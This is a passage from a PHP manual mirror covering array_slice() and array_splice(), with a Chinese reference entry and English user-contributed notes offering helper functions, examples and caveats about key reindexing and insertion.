function array_slice_key($array, $offset, $len=-1){

   if (!is_array($array))
       return FALSE;

   $length = $len >= 0? $len: count($array);
   $keys = array_slice(array_keys($array), $offset, $length);
   foreach($keys as $key) {
       $return[$key] = $array[$key];
   }

   return $return;
}
Samuele at norsam dot org
06-Apr-2004 12:44
Note that if $offset+$length>count($array) then resulting array will NOT be filled with empty elements at his end, so it is not sure that it will have exactly $length elements. Example:
<?php
$a=Array(7,32,11,24,65); // count($a) is 5
$b=array_slice($a,2,4);  // 2+4=6, and 6>count($a)
print_r($b);
?>
will return a 3-elements array:
  Array
  (
     [0] => 11
     [1] => 24
     [2] => 65
  )
24-Feb-2004 06:47
Use unset() to delete a associative array.

Ex:
<?php

$item['chaise'] = array ('qty' => 1,
                       'desc' => 'Chaise bercante 10"',
                       'avail' => 10);

$item['divan'] = array ('qty' => 1,
                       'desc' => 'Divan brun laitte"',
                       'avail' => 10);

if (isset($item['chaise'])) {
       ++$item['chaise']['qty'];
       }

unset($item['divan']);

foreach ($item as $s) {
       echo "<br />Commande " . $s['qty'] . " " . $s['desc'];
}

?>
jenny at jennys dot info
22-Feb-2004 02:12
Here's a function which returns the array offset based on the array key.  This is useful if you'd like to use array_slice to get all keys/values after key "foo".

<?
function array_offset($array, $offset_key) {
  $offset = 0;
  foreach($array as $key=>$val) {
   if($key == $offset_key)
     return $offset;
   $offset++;
  }
  return -1;
}

$array = array('foo'=>'foo', 'bar'=>'bar', 'bash'=>'bash', 'quux'=>'quux');
print_r($array);
// Prints the following:
// Array
// (
//    [foo] => foo
//    [bar] => bar
//    [bash] => bash
//    [quux] => quux
// )

$offset = array_offset($array,'bar');
// $offset now contains '1'
$new = array_slice($array,$offset+1);
print_r($new);
// Prints the following:
// Array
// (
//    [bash] => bash
//    [quux] => quux
// )
?>
webmaster_nospam at wavesport dot com
13-Nov-2002 08:48
This function may surprise you if you use arbitrary numeric values for keys, i.e.

<?php
//create an array
$ar = array('a'=>'apple', 'b'=>'banana', '42'=>'pear', 'd'=>'orange');

print_r($ar);
// print_r describes the array as:
// Array
// (
//    [a] => apple
//    [b] => banana
//    [42] => pear
//    [d] => orange
// )

//use array_slice() to extract the first three elements
$new_ar = array_slice($ar, 0, 3);

print_r($new_ar);
// print_r describes the new array as:
// Array
// (
//    [a] => apple
//    [b] => banana
//    [0] => pear
// )
?>

The value 'pear' has had its key reassigned from '42' to '0'.

When $ar is initially created the string '42' is automatically type-converted by array() into an integer.  array_slice() and array_splice() reassociate string keys from the passed array to their values in the returned array but numeric keys are reindexed starting with 0.
t dot oddy at ic dot ac dot uk
25-Apr-2002 09:47
[Editor's Note:
It is easier to do the same thing using array_values()
]
array_slice() can be used to "re-index" an array to start from key 0.  For example, unpack creates an array with keys starting from 1;

<?php
var_dump(unpack("C*","AB"));
?>

produces

<?php
array(2) {
  [1]=>
  int(65)
  [2]=>
  int(66)
}
?>

and

<?php
var_dump(array_slice(unpack("C*","AB"),0));
?>

give you

<?php
array(2) {
  [0]=>
  int(65)
  [1]=>
  int(66)
}
?>
developer at i-space dot org
04-Feb-2002 12:22
remember that array_slice returns an array with the current element. you must use array_slice($array, $index+1) if you want to get the next elements.
richardgere at jippii dot fi
28-Jan-2002 01:14
The same thing, written by a maladroit :)

<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
   $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
   $tmp[] = $array[$i];

  return $tmp;
}
?>
dams at php dot net
16-Dec-2001 11:09
Here is a version of Array_slice which takes into account keys.

That may be a suggestion for future developpement.

<?php
function array_slice_key($array, $offset){
  if (!is_array($array))
     return FALSE;

  if (func_num_args() == 3){
   $length = func_get_arg(2);
   $length = max(0,intval($length));
  } else {
   $length = count($array);
  }

  $i = 0;
  $return = array();
  $keys = array_slice(array_keys($array), $offset, $length);
  foreach( $keys as $key){
   $return[$key] = $array[$key];
  }
  return $return;
}
?>
add a note add a note

后退 | 起点 | 前进
array_shift | 上一级 | array_splice


array_splice

(PHP 4, PHP 5)

array_splice -- 把数组中的一部分去掉并用其它值取代

说明

array array_splice ( array &input, int offset [, int length [, array replacement]] )

array_splice() 把 input 数组中由 offset 和 length 指定的单元去掉，如果提供了 replacement 参数，则用 replacement 数组中的单元取代。返回一个包含有被移除单元的数组。注意 input 中的数字键名不被保留。

如果 offset 为正，则从 input 数组中该值指定的偏移量开始移除。如果 offset 为负，则从 input 末尾倒数该值指定的偏移量开始移除。

如果省略 length，则移除数组中从 offset 到结尾的所有部分。如果指定了 length 并且为正值，则移除这么多单元。如果指定了 length 并且为负值，则移除从 offset 到数组末尾倒数 length 为止中间所有的单元。小窍门：当给出了 replacement 时要移除从 offset 到数组末尾所有单元时，用 count($input) 作为 length。

如果给出了 replacement 数组，则被移除的单元被此数组中的单元替代。如果 offset 和 length 的组合结果是不会移除任何值，则 replacement 数组中的单元将被插入到 offset 指定的位置。注意替换数组中的键名不保留。如果用来替换的值只是一个单元，那么不需要给它加上 array()，除非该单元本身就是一个数组。

以下表达式以同样方式修改了 $input：

表格 1. array_splice() 等价表达式

array_push($input, $x, $y) | array_splice($input, count($input), 0, array($x, $y))
array_pop($input) | array_splice($input, -1)
array_shift($input) | array_splice($input, 0, 1)
array_unshift($input, $x, $y) | array_splice($input, 0, 0, array($x, $y))
$input[$x] = $y // 对于键名和偏移量等值的数组 | array_splice($input, $x, 1, $y)

返回一个包含被移除单元的数组。

例子 1. array_splice() 例子

<?php
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2);
// $input is now array("red", "green")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1);
// $input is now array("red", "yellow")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange");
// $input is now array("red", "orange")

$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon"));
// $input is now array("red", "green",
//          "blue", "black", "maroon")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 3, 0, "purple");
// $input is now array("red", "green",
//          "blue", "purple", "yellow");
?>

参见 array_slice()，unset() 和 array_merge()。

add a note add a note User Contributed Notes
Paul
12-Feb-2006 02:06
In PHP 4.3.10, at least, it seems that elements that are inserted as part of the replacement array are inserted BY REFERENCE (that is, as though with the =& rather than = assignment operation). So if your replacement array contains elements that references to variables that you can also access via other variable name, then this will be true of the elements in the final array too.

In particular, this means that it is safe to use array_splice() on arrays of objects, as you won't be creating copies of the objects (as it is so easy to do in PHP 4).
gerry-03 at 4warding dot com
10-Feb-2006 11:35
For anybody who is wondering... jrhardytwothousandtwo's trick for inserting an element using array_splice, will also work with multi-dimensional arrays if you do the following:

<?php
  function array_insert(&$input, $offset, $replacement){
   array_splice($input, $offset, 0, 0);
   $input[$offset] = $replacement;
  }
?>

I'm not sure if this (or a derivative of it) will solve other problems that I have seen just about everybody on here trying to solve. But apart from it's hackish nature, it works well for me.
ajd at cloudiness dot com
07-Dec-2005 10:35
weikard's function below is useful but it will still strip keys from array elements where the key is an integer, whether or not it is in a string:

<?php
function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}
$f = array("three" => "zzz", "3" => "yyy");
$a = array("4.0" => "zzzz", "four" => "yyyy");
array_insert($a,0,$f);
var_dump($a);
// array(4) { ["three"]=> string(3) "zzz" [0]=> string(3) "yyy"  ["4.0"]=> string(4) "zzzz" ["four"]=> string(4) "yyyy" }
?>
Julien PACHET
03-Dec-2005 10:03
If you want to remove an item of the array, shifting the others values, you can use:

function my_array_unset($array,$index) {
  // unset $array[$index], shifting others values
  $res=array();
  $i=0;
  foreach ($array as $item) {
   if ($i!=$index)
     $res[]=$item;
   $i++;
  }
  return $res;
}
weikard at gmx dot de
15-Sep-2005 08:53
You cannot insert with array_splice an array with your own key. array_splice will always insert it with the key "0".

[DATA]

$test_array = array (
  row1 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row2 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row3 => array (col1 => 'foobar!', col2 => 'foobar!')
);

[ACTION]

array_splice ($test_array, 2, 0, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';

[RESULT]

Array (
   [row1] => Array (
           [col1] => foobar!
           [col2] => foobar!
       )

   [row2] => Array (
           [col1] => foobar!
           [col2] => foobar!
       )

   [0] => Array (
           [colX] => foobar2
       )

   [row3] => Array (
           [col1] => foobar!
           [col2] => foobar!
       )
)

But you can use the following function:

function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}

[ACTION]

array_insert ($test_array, 2, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';

[RESULT]

Array (
   [row1] => Array (
           [col1] => foobar!
           [col2] => foobar!
       )

   [row2] => Array (
           [col1] => foobar!
           [col2] => foobar!
       )

   [rowX] => Array (
           [colX] => foobar2
       )

   [row3] => Array (
           [col1] => foobar!
           [col2] => foobar!
       )
)

[NOTE]

The position "0" will insert the array in the first position (like array_shift). If you try a position higher than the langth of the array, you add it to the array like the function array_push.
cronodragon_at_gmail
13-Sep-2005 09:54
To delete an element of an array just use unset(). Example:

// Deletes the element with the key "quux" from array $bar
unset($bar['quux']);

Easy! =)
csaba at alum dot mit dot edu
13-Aug-2005 05:31
Appending arrays
If you have an array $a2 whose values you would like to append to an array $a1 then four methods you could use are listed below in order of increasing time.  The last two methods took significantly more time than the first two.  The most surprising lesson is that using the & incurs a time hit.

foreach ($a2 as $elem) $a1[]=$elem;
foreach ($a2 as &$elem) $a1[]=$elem;
array_splice ($a1, count($a1), 0, $a2);
$a1 = array_merge($a1, $a2);

Csaba Gabor from Vienna
randomdestination at gmail dot com
22-Jul-2005 04:52
To split an associative array based on it's keys, use this function:

<?php
function &array_split(&$in) {
   $keys = func_get_args();
   array_shift($keys);

   $out = array();
   foreach($keys as $key) {
       if(isset($in[$key]))
           $out[$key] = $in[$key];
       else
           $out[$key] = null;
       unset($in[$key]);
   }

   return $out;
}
?>

Example:
<?php
$testin = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$testout =& array_split($testin, 'a', 'b', 'c');

print_r($testin);
print_r($testout);
?>

Will print:

Array
(
   [d] => 4
)
Array
(
   [a] => 1
   [b] => 2
   [c] => 3
)

Hope this helps anyone!
fontajos at phpeppershop dot com
15-Apr-2005 10:48
<?php
  // This function deletes a element in an array, by giving it the name of a key.
  function delArrayElementByKey($array_with_elements, $key_name) {
     $key_index = array_keys(array_keys($array_with_elements), $key_name);
     if (count($key_index) != '') {
         // Es gibt dieses Element (mindestens einmal) in diesem Array, wir loeschen es:
         array_splice($array_with_elements, $key_index[0], 1);
     }
     return $array_with_elements;
  }// End function delArrayElementByKey
?>
gideon at i6developments dot com
18-Jul-2004 12:45
array_splice dynamically updates the total number of entries into the array. So for instance I had a case where I needed to insert a value into every 4th entry of the array from the back. The problem was when it added the first, because the total number was dynamically updated, it would only add after the 3rd then the 2nd and so one. The solution I found is to track the number of inserts which were done and account for them dynamically.

Code:
<?php
   $modarray = array_reverse($mili);
   $trig=1;
       foreach($modarray as $rubber => $glue) {
           if($rubber!="<BR>") {
           $i++;
           $b++;
           if ($i==4) {
               $trig++;
               if($trig<=2) {
               array_splice($modarray,$b,0,"<BR>");
               }elseif($trig>=3){
               array_splice($modarray,$b+($trig-2),0,"<BR>");
               }
               $i=0;
               };
               };
       };
   $fixarray = array_reverse($modarray);

?>
jtgt at gmx dot de (Richard Lachmann)
17-Jul-2004 12:18
This function will preserve keys:

<?php
function my_array_splice(&$_arr, $_index, $_long){
           $_keys=array_keys($_arr);
           $_key=array_search($_index, $_keys);
           if ( $_key !== FALSE ){
               $_keys=array_splice($_keys, $_key, $_long);
             foreach ($_keys as $_key) unset($_arr[$_key]);
         }
}
?>
reverse esacdaehasinhoj at oohay dot moc
28-Jun-2004 07:15
Also, a quick function to discard empty entries in an array which otherwise keeps keys intact:

<?php

  function remove_empty($inarray) {

     if (is_array($inarray)) {

         foreach($inarray as $k=>$v) {
             if (!(empty($v))) {
                 $out[$k]=$v;
             }
         }

         return $out;

     } else {
         return $inarray;
     }

  }

  // easy enough?

  print_r(remove_empty(array('', 'foo', '', 'bar', '', '', 'baz', '')));

?>

Should return:

Array
(
   [1] => foo
   [3] => bar
   [6] => baz
)
cyril carrez
30-May-2004 11:19
array_splice does work when replacing with objects. As stated in the manual, you have to embed the object in an array:

<?php
array_splice ($myarray, $offset, 0, Array($myobjet));
?>
rolandfoxx at yahoo dot com
31-Mar-2004 04:16
Be careful, array_splice does not behave like you might expect should you try to pass it an object as the replacement argument.  Consider the following:

<?php
//Very truncated
class Tree {
  var $childNodes

  function addChild($offset, $node) {
   array_splice($this->childNodes, $offset, 0, $node);
   //...rest of function
  }

}

class Node {
  var $stuff
  ...
}

$tree = new Tree();
// ...set 2 nodes using other functions...
echo (count($tree->childNodes)); //Gives 2
$newNode = new Node();
// ...set node attributes here...
$tree->addChild(1, $newNode);
echo(count($tree->childNodes)); //Expect 3?  wrong!
?>

In this case, the array has a number of items added to it equal to the number of attributes in the new Node object and the values thereof  I.e, if your Node object has 2 attributes with values "foo" and "bar", count($tree->childNodes) will now return 4, with the items "foo" and "bar" added to it.  I'm not sure if this qualifies as a bug, or is just a byproduct of how PHP handles objects.

Here's a workaround for this problem:
function array_insertobj(&$array, $offset, $insert) {
  $firstPart = array_slice($array, 0, $offset);
  $secondPart = array_slice($array, $offset);
  $insertPart = array($insert);
  $array = array_merge($firstPart, $insertPart, $secondPart);
}

Note that this function makes no allowances for when $offset equals the first or last index in the array.  That's because array_unshift and array_push work just fine in those cases.  It's only array_splice that can trip you up.  Obviously, this is kinda tailor-made for arrays with numeric keys when you don't really care what said keys are, but i'm sure you could adapt it for associative arrays if you needed it.
bitmor.co.kr
19-Feb-2004 08:30
//orginal
IndexKey Bad Police
richard at richard-sumilang dot com
23-Nov-2002 04:27

<?php
   function array_slice2($array, $val, $slice="name"){
       switch($slice){
           case "name":
               while(list($i,$k)=each($array)){
                   if( $i != $val) { $return[$i]=$array[$i];  print "i = $i,val = $val<br>";}
                   else print " exit BugShow i = $i,val = $val <br>";
               }
               break;
           case "variable":
               while(list($i)=each($array)){
                   if($array[$i]!=$val) $return[$i]=$array[$i];
               }
               break;
       }
       return $return;
   }

   $list = array( "0" => "zero", "1" => "one", "2" => "two", "3" => "three", "4" => "four", "5" => "five", "6" => "six");
   print_r( array_slice2 ( $list,'tne') );echo "<br>";

   //YouWantShow    ? Array ( [0] => zero [1] => one [2] => two [3] => three [4] => four [5] => five [6] => six )
   //But BugShow    ? Array ( [1] => one [2] => two [3] => three [4] => four [5] => five [6] => six )

   //PrintShow
   //exit BugShow i = 0,val = tne
   //i = 1,val = tne
   //i = 2,val = tne
   //i = 3,val = tne
   //i = 4,val = tne
   //i = 5,val = tne
   //i = 6,val = tne
?>

<?php
   print_r( array_slice2 ( $list,"one","variable") );echo "<br>";
   //Array ( [0] => zero [2] => two [3] => three [4] => four [5] => five [6] => six )
?>

//
michael at cannonbose dot com
06-Feb-2004 06:16
While trying to find a way to insert some array into another at some index, array_splice seemed like the function that I wanted. The results weren't quite as expected though. Of course, I can be using it wrong.

My desired results turned out be $array1 after calling array_splice() and no tuning got me to have $array3 with what was showing up in $array1.

[code]
<?php
       $array1                = array(1, 2, 3, 7, 8, 9);
       $array2                = array(4, 5, 6);
       echo '<br />array1 :: ';
       print_r( $array1 );
       echo '<br />array2 :: ';
       print_r( $array2 );

       $index                  = 3;
       // $length                  = count($array1);
       // $length                  = -1;
       $length                = 0;

       // array1 is call by reference it seems
       $array3                = array_splice($array1, $index, $length,
                                   $array2);

       echo '<br />array1 :: ';
       print_r( $array1 );
       echo '<br />array2 :: ';
       print_r( $array2 );
       echo '<br />array3 :: ';
       print_r( $array3 );
?>
[/code]

Results in
[code]
array1 :: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 7 [4] => 8 [5] => 9 )
array2 :: Array ( [0] => 4 [1] => 5 [2] => 6 )
array1 :: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 6 [6] => 7 [7] => 8 [8] => 9 )
array2 :: Array ( [0] => 4 [1] => 5 [2] => 6 )
array3 :: Array ( )
[/code]

Cheers,

Michael
roeltje.com
04-Nov-2003 03:56
In reply on the message "18-Aug-2003 09:57"

If you want to insert a value into some array

<?
// I think we can replace
array_splice($array, 3, count($array), array_merge(array('x'), array_slice($array, 3)));

// with for inserting multiple values
array_splice($array, 3, 0, array('x','y'));

// or for just inserting 1 value
array_splice($array, 3, 0, 'x');
?>

Sounds to me a lot faster.

  Roeltje...
Juan Guillermo Fernndez
27-Aug-2003 05:51
Just fenced the infamous problem of the Associative Arrays v/s array_splice.

I've done this little function to get around it. It seems to work pretty well, by I'm kind of a novice in this so I'm sure you'll find bugs, or better ways to do it:

<?php
function ass_array_splice
( $in_arr,
  $desp,
  $size,
  $sust,
  $new_key='')
{
 $head=array_slice($in_arr,0,$desp);
 $tale=array_slice($in_arr,$desp+$size);
 if ($new_key!='')
   $arr_res=array_merge($head,
                                 array($new_key=>$sust),
                                 $tale);
 else $arr_res=array_merge( $head,
                                     $sust,
                                     $tale);
 return $arr_res;
}
?>

that's it. You call it like this:

<?php
$P=ass_array_splice($_P,
                             18,
                               3,
 $P['FechD'].'/'.$P['FechM'].'/'.$P['FechA'],'Fech');
?>

this example merges three cells from the array, and replace themselves with the result, calling the new cell 'Fech'. If you omit the last param, it calls the cel '0', just like old array_splice does.

thanks for any feedback!
18-Aug-2003 06:57
Want to insert a new value in the middle of the array, without overwriting other elements? Try this.

<?php
$array = array(
   0 => 0,
   1 => 1,
   2 => 2,
   3 => 3,
   4 => 4,
   5 => 5
);
array_splice($array, 3, count($array), array_merge(array('x'), array_slice($array, 3)));
echo '<pre>';
print_r($array);
?>

Output:
Array
(
   [0] => 0
   [1] => 1
   [2] => 2
   [3] => x
   [4] => 3
   [5] => 4
   [6] => 5
)

As you can see, the operation add 'X' in the 4th place, pushing everything else to the next key.
kbrown at horizon dot sk dot ca
12-Aug-2003 03:40
[ Editor's Note: If you're not concerned with the indexes being contiguously numbered (such as for an associative array) then unset($ar[$ind]); will accomplish the same as the code below without requiring splice/splice/merge.  If contiguous numbering IS a concern (such as for indexed arrays), you can still save time by using: unset($ar[$ind]); $ar = array_values($ar); ]

Removing elements from arrays

This works better - much quicker

<?php
$ar = array("einstein", "bert", "colin", "descartes", "renoir");
$a = array_slice($ar, 0, $ind);
$b = array_slice($ar, $ind + 1);
$ar = array_merge($a, $b);
?>
cwahl at prisma dot com
02-Jul-2003 07:18
I couldn't get array_splice() to insert into a multidimensional array, so I cribbed this from the notes for array_push() (a thousand thanks to jhall at jadeinternet dot net).  I'm dealing with a spreadsheet-looking dataset, and it lets me add "rows" where the row data is the array that I have assigned to $val, and the row number is $ky:

<?php
function insert_into_array($array,$ky,$val)
{
$n = $ky;
foreach($array as $key => $value)
  {
   $backup_array[$key] = $array[$key];
  }
$upper_limit = count($array);
while($n <= $upper_limit)
  {
   if($n == $ky)
     {
$array[$n] = $val;
echo $n;
     }
   else
     {
$i = $n - "1";
$array[$n] = $backup_array[$i];
     }
   $n++;
  }
return $array;
}
?>

So that:

<?php
$list = array( "0" => "zero",
     "1" => "one",
     "2" => "two",
     "3" => "three",
   "4" => "four",
     "5" => "five",
     "6" => "six");
$value = "New Number Three";
$key = "3";
$new = insert_into_array($list,$key, $value);
?>

Will Return:

$list =
Array
(
   [0] => zero
   [1] => one
   [2] => two
   [3] => three
   [4] => four
   [5] => five
   [6] => six
)

$new=
Array
(
   [0] => zero
   [1] => one
   [2] => two
   [3] => New Number Three
   [4] => three
   [5] => four
   [6] => five
   [7] => six
)
kerxen at caramail dot com
27-May-2003 10:12
<?php
/** **************************
* Document::tableColumn()
*
* { This function sends back a column of the table or the table itself if it has only one column.
*  Input : $table, a table at 1 ou 2 dimensions or more
*          $numeroCol, the number of the column.
*  Output : $output : the column $numero of the table or the table.
*  }
*
**********  **********/

function tableColumn ( $table,  $numeroCol)
{
$output = array();
reset ($table) ;
if (!is_integer($numeroCol)) $numeroCol=0;
if (count($table)==0) return "UNDEFINED";
else { foreach ($table as $ligne)    // $ligne est un tableau (si $table est en 2D) ou un string ($table en 1D)
       { if (gettype($ligne)!="array")
           {
           if (strlen($ligne)!=0) array_push ($output, $ligne) ;    // on met le string dans $output
           else array_push ($output, " ") ;                        // on met une chaine " " dans $output
           }
         else
           {
           if (strlen($ligne[$numeroCol])!=0) array_push ($output, $ligne[$numeroCol]) ;    // on insere la colonne $numero de la ligne dans $output
           else  array_push ($output, " ") ;                                          // on met une chaine " " dans $output
           }
       }
       return $output;
     }
}
?>

/***************************/
SYNOPTIC : how to use it :
/***************************/

try the exemple below :

<?php
$stack = array ("orange", "banane");
array_push ($stack, "pomme", "bleuet");
$stock =  array ($stack,$stack);

print_r ($stock); echo '<br>';
print_r ($stack); echo '<br>';
print_r (tableColumn ($stock,0)) ;  echo '<br>';
print_r (tableColumn ($stock,1)) ;  echo '<br>';
print_r (tableColumn ($stock,2)) ;  echo '<br>';
print_r (tableColumn ($stock,3)) ;  echo '<br>';
print_r (tableColumn ($stack,0)) ;  echo '<br>';
print_r (tableColumn ($stack,1)) ;  echo '<br>';
?>

YOU WILL GET THIS :

Array ( [0] => Array ( [0] => orange [1] => banane [2] => pomme [3] => bleuet ) [1] => Array ( [0] => orange [1] => banane [2] => pomme [3] => bleuet ) )
Array ( [0] => orange [1] => banane [2] => pomme [3] => bleuet )
Array ( [0] => orange [1] => orange )
Array ( [0] => banane [1] => banane )
Array ( [0] => pomme [1] => pomme )
Array ( [0] => bleuet [1] => bleuet )
Array ( [0] => orange [1] => banane [2] => pomme [3] => bleuet )
Array ( [0] => orange [1] => banane [2] => pomme [3] => bleuet )

/**************************/

Good Luck
Eddy Cingala
plintus at smtp dot ru
15-Apr-2003 04:59
key-safe:

<?php
function array_kslice ($array, $offset, $length = 0) {
$k = array_slice (array_keys ($array), $offset, $length);
$v = array_slice (array_values ($array), $offset, $length);
for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
return $r;
}
?>

smth like this. hope you like it more than versions above :)
richard at richard-sumilang dot com
23-Nov-2002 06:27
My function can remove it by its name or if its equal to something. Became useful because I was inserting all the stuff from the post array into the database but the damn submit button kept comming up with the $_POST also so I wrote this function to get rid of it.

-------------------------------------

<?
   /*
       func.array_slice2.php

       Removes a slice from an array given the name of
       it or the value

       Ex:
       $array=array_slice2($_POST, "submit_button");
   */
   function array_slice2($array, $val, $slice="name"){
       switch($slice){
           case "name":
               while(list($i)=each($array)){
                   if($i!=$val){
                       $return[$i]=$array[$i];
                   }
               }
           break;

           case "variable":
               while(list($i)=each($array)){
                   if($array[$i]!=$val){
                       $return[$i]=$array[$i];
                   }
               }
           break;
       }

       return $return;
   }
?>
tsunaquake DOESNTLIKESPAM @ wp DOT pl
12-Nov-2002 02:56
It is possible to use a string instead of offset, eg if you want to deletre the entry $myArray['entry'] then you can simply do it like this:

<?php
array_splice($myArray, 'entry', 1);
?>

Note that you can use unset($myArray['entry']) as well but then, it doesn't enable you to remove more than one entry and it doesn't replace anything in the array, if that's what you intend to do.
19-Jun-2002 10:14
Please note that array_splice() 's second argument is an OFFSET and not an INDEX.

Lets say you want to
$array_of_items = array ('nothing','myitem','hisitem','heritem');
$sid = array_search('myitem',$array_of_items);
echo $sid; /* prints out 1, since index element 1 is "myitem" */

Now, lets say we want to remove that "myitem" from the array:

<?php
$array_of_items = array_splice($array_of_items,(1+$sid),1);
?>

Notice how you have to add a one to the $sid variable?  That is because offset item 1 is "nothing" and since $sid is currently 1 (the index of "myitem"), we add 1 more to it to find out
 its OFFSET.

DO NOT DO THIS:
 $array_of_items = array_splice($array_of_items,$sid,1);
paule at cs dot tamu dot edu
13-Jun-2002 12:59
to kokos@lac.lviv.ua:

Good point about the code not doing what you expected.

The failure to check for the insert case like you pointed out is not a bug, however. I didn't add code to handle that because the key of such an added index is more or less undefined in an unordered associative array. Put another way, if your array is associative and not auto-indexed, you most likely care enough about your keys to want to set them explicitly.
kokos at lac dot lviv dot ua
08-Jun-2002 05:55
To paule@cs.tamu.edu :
Sorry, but the fix will still not work properly - when $length=0 (e.g. trying to insert one value) the
   $new_array[$key]=$replacement;
would be immediately followed by
   $new_array[$key]=$value;
and the $replacement will be lost.

What i was trying to point out in my original post is that $input[$x]=$y is NOT equivalent to array_splice($input, $x, 1, $y) . The equivalence mentioned would be true ONLY when $input is <... ghmm... > "automatically enumerated", having its' keys exactly matching offsets of corresponding elements in the array. But, in general case, keys do not match offsets - perhaps this should be explicitly stated in the Description above.
paule at cs dot tamu dot edu
07-Jun-2002 02:21
Aiya, I feel silly. The fix for my code above assumes that your values in the associative array are strings. Ignore the fix code in my last post and use this instead:

<?php
               if(is_array($replacement))
                   foreach($replacement as $r_key=>$r_value)
                       $new_array[$r_key]=$r_value;
               elseif($replacement!==NULL)
                   $new_array[$key]=$replacement;
?>

Sorry again. I feel sheepish.  n.n
paule at cs dot tamu dot edu
07-Jun-2002 02:09
After reading KoKos' post above, I thought that the code I posted right before his should do what he wanted. However, my original post neglected to note the little "Tip" in the documentation above, about a single element replacement.

If one changes the lines in my code above that says:

<?php
               if(is_array($replacement))
                   foreach($replacement as $r_key=>$r_value)
                       $new_array[$r_key]=$r_value;
?>

to instead say:

<?php
               if(is_string($replacement))
                   $new_array[$key]=$replacement;
               elseif(is_array($replacement))
                   foreach($replacement as $r_key=>$r_value)
                       $new_array[$r_key]=$r_value;
?>

that will solve the problem.

Sorry for the omission.
kokos at lac dot lviv dot ua
07-Jun-2002 11:26
It may seem obvious from the above posts, but cost me a bit of
braindamage to figure this out...

Contrary to the equivalence noted on this page
$input[$x] = $y  <==>  array_splice ($input, $x, 1, $y)
array_splice() will not always work as expected,
even provided that you have only INTEGER keys!

The following code:
   $t=array('a','b','c','d','e');
   var_dump($t);

<?php
   unset($t[0],$t[1],$t[3]);
   $t[0]='f';
   var_dump($t);

   array_splice($t,0,1,'g');
   var_dump($t);
?>

Will produce:
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
}
array(3) {
  [2]=>
  string(1) "c"
  [4]=>
  string(1) "e"
  [0]=>
  string(1) "f"
}
array(3) {
  [0]=>
  string(1) "g"
  [1]=>
  string(1) "e"
  [2]=>
  string(1) "f"
}

Note the position of $t[0] in the second call to var_dump().
And of course, array_splice() left it intact, changing $t[2] instead.
This is because it operates the _offset_, not the _index_.  :)
I think that "equivalence note" should be considered buggy.  ;)))

Best wishes.
KoKos.
paule at cs dot tamu dot edu
26-May-2002 10:02
I believe the following is a version of array_slice that solves most of the issues for people that want an associative key offset, rather than an integer.

<?php
function key_array_splice(&$input, $key_ofs, $length=NULL, $replacement=NULL)
{
   // Adjust the length if it was negative or not passed
   if($length===NULL || $length<0)
       $count = $length+count($input);

   // Cycle through the array
   foreach($input as $key=>$value){
       if(!$key_found){
           if($key===$key_ofs){
               $key_found=true;
               if($length!==NULL && $length>=0)
                   $count=$length;
               if(is_array($replacement))
                   foreach($replacement as $r_key=>$r_value)
                       $new_array[$r_key]=$r_value;
           }else
               $new_array[$key]=$value;
       }
       if($key_found){
           if($count>0)
               $ret_array[$key]=$value;
           else
               $new_array[$key]=$value;
       }
       $count--;
   }

   // Finish up
   $input=$new_array;
   return $ret_array;
}
?>

Note that this code needs PHP 4 for the use of the "===" and "!==" operators.
amtiee at hotmail dot com
29-Apr-2002 09:36
The function my_array_splice(), accepts a user defined key of an array.

$aArray ={'Name'=>'ABC','Age'=>'22', 'Sex'=>'M'};
my_array_splice($aArray, 'Age', 1);

So now $aArray will contain only:

['Name'=>'ABC', 'Sex'=>'M']

my_array_splice() internally makes use of array_search(), which is not supported with PHP <= 4.0.4. A solution to this is to sneak into user contributed notes of function array_search(). An alternative submitted by chen.avinadav@vbulletin.com is the solution for this problem.
jrhardytwothousandtwo at yahoo dot com
15-Feb-2002 03:54
A reference is made to INSERT'ing into an array here with array_splice, however its not explained very well.  I hope this example will help others find what took me days to research.

--code begin--
$original_array = array(1,2,3,4,5);
$insert_into_key_position = 3;
$item_to_insert = "blue";

$returned = array_splice($original_array, $insert_into_key_position, 0, $item_to_insert);

$original_array will now show:

1,2,3,blue,4,5
--code end---

Remember that you are telling the array to insert the element into the KEY position.  Thus the elements start with key 0 and so on 0=>1, 1=>2, 2=>3, 3=>blue, 4=>4, 5=>5.  And walla, you've inserted.  I can't say if this is of any value for named keys, or multidimensional arrays.  However it does work for single dimensional arrays.

$returned should be an empty array as nothing was returned.  This would have substance if you were doing a replace instead.
steve at hynding dot com
17-Jan-2002 06:09
Values removed from the array are returned as an array as such:

<?php
$letters = array("a","b","c");
$removed_val = array_splice($letters, 1, 1);
print_r($removed_val);
?>

Printed Result:

Array ( [0] => b )
leingang AT math DOT rutgers DOT edu
16-Jan-2002 11:32
array_splice resets the internal pointer of $input.  In fact, many array functions do this.  Caveat programmor!
brissaille at yahoo dot com
22-Dec-2000 03:31
Pay attention, if the keys of your
array are integer, array_splice will
modify them.

For example:
$t=array('5'=>'Albator', '7'=>'Goldorak', 21=>'Candy');
array_splice($t,0,0) gives you the follwing result:
$t=array {[0]=>'Albator', [1]=>'Goldorak', [2]=>'Candy'}
info at borderblue dot com
23-Oct-2000 09:16
